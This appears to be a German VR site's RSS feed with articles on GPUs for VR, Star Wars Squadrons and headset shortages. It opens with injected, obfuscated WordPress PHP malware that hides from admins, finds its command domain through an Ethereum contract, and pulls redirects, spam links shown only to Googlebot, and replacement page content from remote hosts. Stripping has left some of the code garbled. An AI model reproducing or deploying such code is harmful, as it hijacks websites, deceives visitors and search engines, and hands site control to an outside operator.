if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&¤t_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo''."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='
  • '.esc_html($r['t']).'
  • ';if($h!=='')echo'
    More
      '.$h.'
    ';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'';wp_head();echo''.$p['h'];wp_footer();echo'';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */ VIve Cosmos Archive - VR-Legion https://vr-legion.de/tag/vive-cosmos/ We don't play flat! Tue, 20 Apr 2021 23:21:57 +0000 de hourly 1 https://wordpress.org/?v=6.9.4 https://vr-legion.de/wp-content/uploads/2018/05/cropped-Fertig_farbig_trans_im_Kreis_weiss_ohne_3d_klein-32x32.png VIve Cosmos Archive - VR-Legion https://vr-legion.de/tag/vive-cosmos/ 32 32 Welche Grafikkarte für VR? Ratgeber für Oculus Rift/Quest 2, Cosmos, HP Reverb G2 und Valve Index (Update April 2021) https://vr-legion.de/hardware/welche-grafikkarte-fuer-vr-ratgeber-fuer-oculus-rift-s-pimax-hp-reverb-und-valve-index/ https://vr-legion.de/hardware/welche-grafikkarte-fuer-vr-ratgeber-fuer-oculus-rift-s-pimax-hp-reverb-und-valve-index/#comments Tue, 20 Apr 2021 23:05:27 +0000 https://vr-legion.de/?p=11263 Virtual Reality stellt hohe Anforderungen an die Grafikkarte - doch wie viel Power braucht eure GPU wirklich? Ein Ratgeber für die aktuellen VR-Brillen inkl. Oculus Link (Update: April 2021).

    Der Beitrag Welche Grafikkarte für VR? Ratgeber für Oculus Rift/Quest 2, Cosmos, HP Reverb G2 und Valve Index (Update April 2021) erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Virtual Reality stellt hohe Anforderungen an die Grafikkarte – doch wie viel Power braucht eure GPU wirklich? Ein Ratgeber für die aktuellen VR-Brillen inkl. Oculus Link (Update: April 2021).

    Update April 2021: 

    Die Situation auf dem Markt für Hardware und insbesondere bei Grafikkarten ist angespannt. Ach was, mieserabel ist das richtige Wort. Wenn ihr jetzt dringend eine neue GPU benötigt, müsst ihr euch auf happige Aufpreise einstellen – wenn ihr denn überhaupt eine Grafikkarte bekommt. Die Lager sind leer und werden es wohl auch bis lange ins nächste Jahr oder gar bis zum übernächsten bleiben. Wir haben dennoch ein paar Links für euch zusammengesucht, regt euch aber bitte nicht über die Preise auf, für die können wir nichts 😉 .

    Ursprünglicher Artikel:

    Auch wenn mobile VR-Brillen wie Oculus Quest (2) gar keinen PC und damit auch keine Grafikkarte brauchen: Für die Grafikpracht vieler SteamVR-Titel braucht es dann doch ein ausreichend flottes PC-System. Dabei müsst ihr zwar auch auf einen nicht zu langsamen Prozessor und ausreichend Arbeitsspeicher achten – ausführliche Kauftipps gibt es in unserer PC-Kaufberatung für VR-PCs – wichtiger ist aber weiterhin die GPU.

    –> Der beste VR-PC – die Kaufberatung bei VR-Legion.de

    Wenn ihr nicht gerade CPU-Leistung zum Frühstück fressende Simulationen in der virtuellen Realität spielt oder ihr dabei in hoher Qualität (und ohne Zuhilfenahme der GPU) streamen wollt, wird euch ein halbwegs aktueller Quadcore-Prozessor von Intel oder AMD ausreichen, mittlerweile geht der Trend aber zum günstigen Sechskerner wie dem Ryzen 5 3600. Angesichts immer preiswerterer CPUs mit sechs und mehr Kernen dürfte diese Anforderung relativ leicht zu erfüllen sein, Intel und AMD bieten sechs flotte Kerne schon für unter 200 Euro an. Gleiches gilt beim RAM: Mit 8 GByte kommt ihr immer weniger gut hin, deutlich besser sind 16 GByte. Eine SSD gehört inzwischen zur Pflichtausstattung eines Gaming-PCs, daher verlieren wir hier gar nicht erst viele Worte.

    Am Ende der einzelnen Beratungs-Abschnitte gibt es die erwähnten Grafikkarten bequem verlinkt, wir achten dabei nur auf seriöse Shops mit vertretbaren Preisen zu verweisen. Da es sich um Affiliate-Links handelt, verdienen wir bei einem Verkauf eine kleine Provision – das hat aber weder auf euren Kaufpreis noch auf unsere Empfehlungen eine Auswirkung. Diese zeigt sich aber bei der Finanzierung der VR-Legion: Wir müssten eigentlich dringend auf einen teureren Server umziehen..

    Diese Kaufberatung wird regelmäßig aktualisiert. Es kann trotzdem vorkommen, dass einzelne Produkte sich im Preis ändern. Stand der Preise ist der 18.04.2021. Als Shop haben wir Alternate gewählt. 

    Exkurs für Interessierte: VR-Systemanforderungen erklärt

    Als HTC Vive und Oculus Rift im Jahre 2016 gestartet sind, lagen die Systemanforderungen auf hohem Niveau: Mindestens eine GTX 970 oder AMD 390 sollte es sein, besser geeignet waren aber teure Luxus-GPUs wie die GTX 980 Ti. Seitdem herrscht das Vorurteil, VR würde jede verfügbare Grafikkarte überfordern. Allerdings blendet dieses Vorurteil einige technische Entwicklungen der letzten Jahre aus.

    So senken ASW, Motion Smoothing und Brainwarp die Anforderungen an die GPU recht massiv, da dank Zwischenbildberechnung effektiv nur noch halb so viele Bilder berechnet werden müssen – statt 90 FPS beispielsweise 45 FPS. Pimax bietet hier sogar noch eine Reduktion der Display-Refreshrate an, so dass ihr auch mit 35 FPS theoretisch flüssig spielen könnt.

    Hersteller wie Valve und Pimax (aber auch Oculus bei der Go und Rift S) haben zudem verstanden, dass weniger Fliegengitter nicht automatisch eine höhere Auflösung erfordert. LCDs mit RGB-Stripe-Matrix bieten 33% mehr Subpixel im Vergleich zu den Pentile-OLEDs in Vive und Rift und damit auch deutlich weniger störende Screendoor-Effekte. Dazu kommt bei RGB eine gerade für Textlesbarkeit bessere Anordnung der Pixelstruktur: Das Bild wirkt oft ruhiger als mit Pentile und das ohne die GPU stärker zu fordern – für zusätzliche Subpixel muss die GPU nicht mehr schuften. Die aktuelle Königsklasse stellen HP mit der Reverb und der kommenden Reverb G2 (2.160 x 2.160 Pixel pro Auge, RGB-Stripe-Pixelmatrix) und die Pimax 8Kx mit gleich doppelt so hoher Auflösung dar. Auch Oculus Quest 2 benötigt eine gute Grafikkarte, wenn ihr PC-Games damit spielen wollt.

    Änderungen seit dem letzten Update

    Eine Kaufberatung suggeriert eigentlich, dass wir euch zu den erwähnten Grafikkarten raten und einen Kauf empfehlen. Theoretisch stimmt das – die Leistung stimmt bei den aufgelisteten Modellen ebenso wie weitere Punkte wie das Kühlsystem. Allerdings hat sich aufgrund von Kryptomining und Komponentenknappheit (und Gier..) die Preislage in eine Richtung entwickelt, die wir nicht gutheißen können. Wenn ihr also die Möglichkeit habt, mit einer hoffentlich noch vorhandenen Grafikkarte halbwegs anständig spielen zu können: Tut das. Kauft nichts neues. Kauf auch nichts gebrauchtes, hier liegen die Preise teilweise sogar über denen von bereits überteuerter Neuware. Wenn ihr allerdings keine andere Chance habt als jetzt zuzuschlagen: Die Preise kennen eigentlich nur einen Weg, den nach oben. Kurzes Abwarten lohnt sich daher nicht, bis zu einer besseren Verfügbarkeit könnte es sogar noch viele Monate dauern.

    Besonders schlecht sieht es mit der Verfügbarkeit inzwischen ausgerechnet bei den Einstiegskarten aus. Hier wird nichts nachproduziert und der Markt ist leer, was angeboten wird ist sehr teuer und teilweise über dem Niveau von Highend-GPUs des Vorjahres. Bevor ihr also 600 Euro für eine RTX 2060 oder Radeon RX 5700 XT bezahlt oder gar die mitunter geforderten 900 für eine RTX 2080 Super, legt lieber ein paar Euro drauf und bedient euch bei der aktuellen Generation.

    VR-taugliche GPU zur UVP kaufen

    Ganz ganz selten habt ihr die Chance mit Geduld und Glück ein Schnäppchen zu machen. Die unverbindliche Preisempfehlung von Nvidia und AMD für die aktuellen GPUs liegt weit unter den aktuellen Handelspreisen. Im Herstellershop von AMD werden gelegentlich aber tatsächlich RDNA2-Grafikkarten zur UVP verkauft. Dabei handelt es sich um extrem geringe Stückzahlen – aber immerhin, besser als nichts. Die besten Chancen habt ihr beim wöchentlichen GPU-Drop am Donnerstag, schaut am Nachmittag bis frühen Abend regelmäßig vorbei. Allerdings ist auch AMD mit der Menge an Interessierten überfordert, so dass der Shop mitunter nur Fehlermeldungen auswirft.

    Die größten Chancen habt ihr, wenn ihr euch einen Verfügbarkeitsalarm einrichtet. Im PartAlert Discord könnt ihr euch Benachrichtigungen einrichten, so dass ihr es sofort mitbekommt, wenn eine Karte verfügbar ist. Dort werden auch die Herstellerkarten selbst abgedeckt – eine perfekte Alternative zum 24/7 am-PC-lauern!

    –> PartAlert auf Discord

    AMD Radeon RX570
    Der VR-Einstieg gelingt (mit Einschränkungen) schon mit der günstigen RX570 von AMD

    Für den VR Einstieg: GTX 1660 (Ti und Super) / RTX 2060

    Wie bereits erwähnt: Vor allem die günstigeren Einstiegskarten sind noch schwerer zu bekommen als neuere und flottere Modelle. Das wirkt sich auch auf die Preise aus – selbst AMDs APUS (also Prozessoren mit integrierter Radeon-Grafik) sind stark im Preis gestiegen und kaum noch zu bekommen. Intels iGPU hingegen ist so unbeliebt, ihre Existenz wirkt sich nicht auf die Verfügbarkeit aus. Wenn ihr nur wenig für eine Grafikkarte investieren könnt haben wir schlechte Nachrichten: Selbst eine ursprünglich unter 280 Euro günstige 1660 Ti oder RX 5600 gibt es nicht mehr für weniger als 500 Euro. Das sind Preise, zu denen die deutlich schnelleren aktuellen Modelle zur UVP beginnen sollten, nur zum Einordnen. AMDs RDNA(1)-GPUs sind zudem gar nicht verfügbar im Moment. Und wohl auch in Zukunft.

    Unter normalen Umständen würden wir euch keine GTX 1650 mehr ans Herz legen, für unter 300 Euro gibt es sonst aber schlicht keine Karten mehr (und Finger weg von der GT 1030, die ist nichts für VR).

    Die Nvidia RTX 2060 ist ebenfalls vereinzelt zu bekommen und kostet teilweise sogar weniger als die etwas langsamere GTX 1660 Super / Ti – selbst wenn ihr kein Raytracing für Flatgames nutzen wollt, wäre sie daher eher unser Tipp. Vor allem, da sie auch DLSS beherrscht, was in Zukunft auch bei VR-Games Performancevorteile bringen kann.

    Für Nutzer einer Rift S oder einer älteren VR wie original Vive/Rift könnte daher sogar die GTX 1650 interessant sein, die es immerhin für unter 300 Euro gibt. Vereinzelt. AMDs RX580 hingegen ist beliebter und geht selbst gebraucht für über 300 bis 500 Euro (!) über den Ladentisch. Einsteiger haben es gerade also nicht einfach die passende Grafikkarte zu finden. Die GTX 1660 Super oder Ti sind schneller als eine GTX 1660 und 1650 (Super), preislich von Interesse sind sie angesichts der besseren RTX 2060 jedoch nicht.

    Wenn ihr bereits eine Grafikkarte wie die beliebte GTX 1070 verbaut habt könnt ihr euch glücklich schätzen. Sie reicht mit Einschränkungen auch noch für eine Valve Index und auf jeden Fall für Rift S oder Quest/Link. Selbst mit einer GTX 1060 könnt ihr die Rift S noch halbwegs anständig befeuern. Bevor ihr aber mehr als 500 Euro für eine ehemals nur 180 Euro kostende RX580 bezahlt: Spart noch etwas länger und kauft was schnelleres. Davon habt ihr länger etwas als von einer solchen „Spar“-Lösung.

    Aktuell sinnvoller:

     

    Nvidia RTX 2060
    Mehr Leistung und vor allem DLSS bietet die RTX 2060 von Nvidia

    GPU für die VR-Mittelklasse: RTX 3060, AMD RX 6700 XT

    Für VR-Brillen bis zur Valve Index (auch mit 120 Hz) eignet sich die aktuelle Mittelklasse der neuen GPUs sehr gut. Nvidia startet mit der Geforce RTX 3060, die mit gleich 12 Gigabyte GDDR6 ausgeliefert wird. Deutlich empfehlenswerter ist allerdings die spürbar schnellere RTX 3060 Ti, auch wenn diese nur 8 Gigabyte Speicher nutzt. Bei AMD besteht der Einstieg aus der Radeon RX 6700 XT, ebenfalls mit 12 Gigabyte aber höherer Leistung bei 3D-Anwendungen als Nvidia sie mit der 3060 liefert. AMD siedelt sich leistungsmäßig (zumindest wenn es nicht um Raytracing geht) zwischen der 3060 Ti und der RTX 3070 an, bei gleichzeitig größeren Videospeicher und sogar etwas niedrigeren Preisen. Wobei das Wort „niedriger“ in diesem Zusammenhang irgendwie falsch klingt..

    Wenn ihr noch eine habt oder günstig bekommen könnt: Auch die Vorgängerkarten insbesondere von Nvidia sind für die Mittelklasse gut geeignet. Eine RTX 3060 ist schließlich auch mit neuerer Architektur nicht schneller als eine RTX 2070 Super / RTX 2080. Eine RX 6700 XT duelliert sich mit der 2080 Super, scheitert aber an der 2080 Ti. AMD selbst hat allerdings nichts vergleichbares in der Vorgängergeneration zu bieten – die RX 5700 XT ist deutlich langsamer als die 6700 XT. Übrigens, was die reinen Recheneinheiten angeht, entspricht die RX 6700 XT der GPU einer Playstation 5 (auf deren PSVR 2 wir sehnsüchtig warten), allerdings sind bei der Konsole die Taktraten geringer.

    Mit der Geforce RTX 3060 Ti lässt sich bereits gut VR spielen, perfekter Partner wäre beispielsweise eine Valve Index oder auch Quest 2 mit Link.

    VR-Games nutzen aktuell kein Raytracing, so dass Nvidia diesen Vorteil zumindest in unserer Nische noch nicht ausspielen kann. Generell ist Raytracing mit AMD aktuell langsamer als bei Nvidia, Höhepunkt ist hier Cyberpunk 2077 – bei diesem Spiel brechen die FPS um bis zu 75% mit aktiviertem Raytracing ein. Und das ohne die optische Qualität der Nvidia-Implementierung zu erreichen. Ein großer Pluspunkt für Nvidia ist hingegen DLSS. Dabei handelt es sich um ein von KI-Berechnungen unterstütztes Upscaling. Bedeutet: Ihr könnt das Spiel mit einer geringeren Auflösung berechnen ohne optisch einen Unterschied wahrzunehmen. Noch nutzen VR-Games zwar nur sehr selten DLSS, mit Into the Radius ist aber bereits ein Titel verfügbar und weitere dürften folgen. Der Unterschied bei den erreichbaren FPS ohne wahrnehmbare Qualitätsunterschiede ist durchaus spürbar und kann einer kleineren GPU deutlich nach vorne helfen. AMD bietet noch keine vergleichbare Funktion.

    Preislich ist die RTX 3060 sogar zum aktuellen Zeitpunkt deutlich ratsamer als eine RTX 2060. Einige zum Zeitpunkt des Schreibens dieses Artikels verfügbare Karten kosten mit unter 600 Euro nur wenig mehr als eine RTX 2060, bieten aber eine spürbar höhere Leistung und doppelt so viel Speicher. Die 3060 Ti hingegen kostet euch einen saftigen Aufpreis, bietet aber auch noch einmal deutlich mehr Leistung (trotz weniger Speicher).  Bekommt ihr eine RTX 3060 Ti für unter 600 Euro könnt ihr euch aktuell bereits sehr glücklich schätzen. Euch erwartet eine Performance zwischen der RTX 2080 Super und 2080 Ti.

    Schwer verfügbar aber enorm schnell : RTX 3070, 3080 und RTX 3090 sowie AMD RX 6800 (XT) und 6900 XT

    Wenn schon, denn schon: Wer bereit ist, für eine Grafikkarte über 1000 Euro zu investieren, kann auch noch etwas drauflegen und eines der schnelleren Modelle anschaffen. Nvidias RTX 3070 und 3080 sind zwar kaum im Handel vertreten, bieten aber zu Preisen ab 1000 beziehungsweise 1300 Euro auch enorm viel Leistung.

    Zum Vergleich mit der Vorgängergeneration: Die RTX 3070 liegt etwa gleichauf mit der RTX 2080 Ti (bietet aber weniger Speicher), die 3080 ist sogar schneller. Hier ist auch der GDDR6X-RAM interessant, von dem 10 Gigabyte verbaut sind. Ursprünglich gar nicht für Gamer vorgesehen war die RTX 3090, jedenfalls wenn es nach Nvidia geht – sie ist ab 2300 Euro erhältlich, was enorm viel für eine Grafikkarte ist. Im Gegenzug bekommt ihr aber auch beeindruckende 24 Gigabyte GDDR6X und eine kompromisslose Leistung. Hier bringt auch die Reverb G2 oder Pimax 8KX Spaß. Oder 4K-Gaming in Flat und 144+ Hz.

    XFX RX 6800 XT Merc 319
    Die AMD RX 6800 XT und auch die 6900 XT bieten mitunter ein besseres Preis-Leistungsverhältnis für VR-Gamer, da hier Raytracing keine Rolle spielt und viel Videospeicher vorhanden ist.

    Von AMD gibt es wenig Lebenszeichen was die RX 6800 XT angeht, die Karte ist schwer zu bekommen. Ihre Leistung schlägt mitunter (wenn weder Raytracing noch DLSS zum Einsatz kommen) sogar die RTX 3090 – beachtlich! Noch etwas schneller ist die Radeon RX 6900 XT, für die aber auch entsprechende Preise aufgerufen werden. Ihre geringere Speicherbandbreite kompensiert AMD mit einem großen internen „Infinity-Cache“ – das klappt erstaunlich gut. An Videospeicher sind 16 Gigabyte verbaut, was wohl vorerst auch reichen dürfte.

     

    Der Beitrag Welche Grafikkarte für VR? Ratgeber für Oculus Rift/Quest 2, Cosmos, HP Reverb G2 und Valve Index (Update April 2021) erschien zuerst auf VR-Legion.

    ]]>
    https://vr-legion.de/hardware/welche-grafikkarte-fuer-vr-ratgeber-fuer-oculus-rift-s-pimax-hp-reverb-und-valve-index/feed/ 42
    GamingLadyNici – Unboxing Vive Cosmos https://vr-legion.de/videos/gamingladynici-unboxing-vive-cosmos/ Tue, 07 Jul 2020 14:16:26 +0000 https://vr-legion.de/?p=25623 Nici hat endlich das Kabel bekommen und zeigt euch deswegen das unboxing der Cosmos. 

    Der Beitrag GamingLadyNici – Unboxing Vive Cosmos erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Nici hat endlich das Kabel bekommen und zeigt euch deswegen das unboxing der Cosmos. 

     

    In diesem Video packt Nici die Vive Cosmos von HTC aus. Ihr wurde sie als Leihgerät für Testzwecke zur Verfügung gestellt.

    Der Beitrag GamingLadyNici – Unboxing Vive Cosmos erschien zuerst auf VR-Legion.

    ]]>
    Star Wars Squadrons – Gefechte im Weltall mit vollem VR-Support für PC und PSVR (Neu: Gameplaytrailer) https://vr-legion.de/news/star-wars-squadrons-gefechte-im-weltall-mit-vollem-vr-support-fuer-pc-und-psvr/ https://vr-legion.de/news/star-wars-squadrons-gefechte-im-weltall-mit-vollem-vr-support-fuer-pc-und-psvr/#comments Fri, 19 Jun 2020 00:15:35 +0000 https://vr-legion.de/?p=25055 Überraschend kündigte EA Star Wars Squadrons für PC und Konsolen an - noch überraschender: Das volle Spiel läuft auch in VR, mit Crossplay.

    Der Beitrag Star Wars Squadrons – Gefechte im Weltall mit vollem VR-Support für PC und PSVR (Neu: Gameplaytrailer) erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Überraschend kündigte EA Star Wars Squadrons für PC und Konsolen an – noch überraschender: Das volle Spiel läuft auch in VR, mit Crossplay.

    Update 19. Juni:

    Ganz neu ist der Gameplay-Trailer von Star Wars Squadrons, in dem wir tatsächlich Spielszenen („work in progress“..) sehen können und zudem anschaulich die Spielmodi und Raumschifftypen erklärt bekommen. Wer bei Publisher EA zuerst an Mikrotransaktionen und Lootboxen denkt: Offenbar irrt ihr, Verschönerungen für Raumschiff und Avatar sollen rein im Spiel freigeschaltet werden.

     

    Ursprüngliche News

    Bereits am 02. Oktober wird Star Wars Squadrons erscheinen, Entwickler Motive hat aber mehr in der Hinterhand als nur einen Battlefront-Verschnitt. Squadrons lässt sich sowohl in flach auf PC, Xbox One und Playstation 4 spielen als auch in Virtual Reality auf PC und PSVR. Und zwar nicht nur eine handvoll Missionen sondern das ganze Spiel und inklusive Crossplay.

    X-Wing,Y-Wing – Die Raumflotte der Rebellen stammt frisch aus der Buchstabensuppe.

    Die namensgebenden Squadron bestehen aus jeweils 5 Piloten, gespielt wird also primär in 5vs5 Multiplayergefechten. Crossplay ist hier durchaus praktisch, so sind leere Server mangels VR-Gamern weniger stark zu befürchten. Natürlich wählt ihr eure Seite – fliegt ihr fürs Imperium, steigt ihr in Tie-Fighter, die Rebellen vertrauen natürlich auf ihre ikonischen X-Wings. Eine Singleplayerkampagne gibt es ebenso, die Handlung soll nach den Ereignissen von „Die Rückkehr der Jedi-Ritter“ angesiedelt sein, schreibt EA in der Pressemitteilung zum Spiel.

    Ab 02. Oktober für Flat und VR

    Das Spiel kann für den PC ab sofort bei Origin oder Steam vorbestellt werden, der Preis liegt bei 39,99 Euro. Systemanforderungen und unterstützte HMDs nennt EA noch nicht, eine Alterseinstufung der USK ist ebenfalls noch ausstehend.

    Mit etwas Glück wird im Oktober ein Traum für viele Star-Wars-Fans wahr.

    Was solls, wir freuen uns, nach der grandiosen aber viel zu kurzen VR-Mission von Star Wars Battlefront (PSVR), endlich wieder in einem X-Wing sitzen zu können. Und Hand aufs Herz, ohne VR sind Raumschiffe doch auch nur halb so spannend. Werdet ihr mit uns im Oktober ins Cockpit steigen? Unsere VR-Hardware freut sich schon..

    –> Produktseite mit allen Infos bei EA

    Der Beitrag Star Wars Squadrons – Gefechte im Weltall mit vollem VR-Support für PC und PSVR (Neu: Gameplaytrailer) erschien zuerst auf VR-Legion.

    ]]>
    https://vr-legion.de/news/star-wars-squadrons-gefechte-im-weltall-mit-vollem-vr-support-fuer-pc-und-psvr/feed/ 8
    Oculus Rift S, Oculus Quest und Valve Index ausverkauft – Corona und Alyx sind schuld https://vr-legion.de/news/oculus-rift-s-oculus-quest-und-valve-index-ausverkauft-corona-und-alyx-sind-schuld/ Mon, 24 Feb 2020 11:51:23 +0000 https://vr-legion.de/?p=21770 Wer momentan in VR einsteigen oder auf bessere Hardware umsteigen möchte, hat es schwer: Rift S, Quest und Index sind aktuell vergriffen.

    Der Beitrag Oculus Rift S, Oculus Quest und Valve Index ausverkauft – Corona und Alyx sind schuld erschien zuerst auf VR-Legion.

    ]]>
    Google logoGoogle

    Wer momentan in VR einsteigen oder auf bessere Hardware umsteigen möchte, hat es schwer: Rift S, Quest und Index sind aktuell vergriffen.

    Es hat mit der Ankündigung von Half Life: Alyx begonnen: Schon kurz darauf war Valves Index nur noch schwer und dann gar nicht mehr zu bekommen. Ausgerechnet im Weihnachtsgeschäft zeigte sich dann auch, dass sich wohl auch Oculus bei den Produktionsmengen ein wenig verschätzt hat, die Oculus Quest war zumindest mit 64 Gigabyte für längere Zeit nicht oder nur schwer erhältlich. Die USA traf es sogar noch härter als Deutschland, dort gab es vor Weihnachten keinerlei Quest-Bestände im Endkundenhandel. Und auch die Gebrauchtpreise zogen mit an, was dafür spricht, dass es sich nicht nur um eine künstliche sondern um eine sehr reale Verknappung handelte.

    Schuldig ist Half Life: Corona

    Nun ist Weihnachten bereits einige Monate vorbei, sonderlich gut sieht es bei der Verfügbarkeit der VR-Brillen dennoch nicht aus. Der plötzliche Erfolg von Boneworks (das sogar von populären Youtubern wie German Lets Play begeistert gespielt wird), die andauernde Hype um Alyx und dazu noch Produktionsverzögerungen durch den Ausbruch des als Coronavirus bekannten COVID-19 sorgen für Lieferschwierigkeiten auch im Februar 2020.

    Valve sah sich gezwungen die eigene Aussage, die Index wäre zum Release von Half Life: Alyx am 23. März wieder in ausreichenden Stückzahlen verfügbar, ein wenig zu relativieren. Inzwischen sieht es wohl eher so aus, als wenn es im März zwar endlich wieder Chancen auf eine Index gibt, dabei aber wohl dennoch nicht jeder Kaufinteressent auch sofort Glück haben dürfte. Tipp: Lasst euch von Steam benachrichtigen, sobald wieder Hardware verfügbar ist, spontan zugreifen wird wohl in den kommenden Wochen oder gar Monaten eher schwer.

    Valve und Oculus sind beliebt

    Die Index ist, nicht zuletzt aufgrund der überzeugenden Index Controller, offenbar bei vielen Neueinsteigern die erster Wahl für VR. Mit anhaltenden Lieferschwierigkeiten greifen die Kunden aber offenbar auch zunehmend zur Oculus Rift S. Denn auch diese ist bei Händlern wie Amazon und Alternate aktuell nicht mehr erhältlich. In der vergangenen Woche gab es bei Amazon zumindest noch einen Liefertermin für Anfang bis Mitte März, jetzt finden sich nur noch überteuerte Angebote von Marktplatzhändlern. Auch Alternate vermeldet „kein Liefertermin bekannt“.

    Auch in unserem Podcast „Alternative Realitäten“ waren die ausverkauften VR-Brillen ein wichtiges Thema.

    Auch Oculus Quest weiterhin vergriffen

    Weniger überraschend: Auch die Oculus Quest ist betroffen und inzwischen sowohl mit 64 Gigabyte als auch mit 128 Gigabyte bei Amazon und Alternate nicht erhältlich.

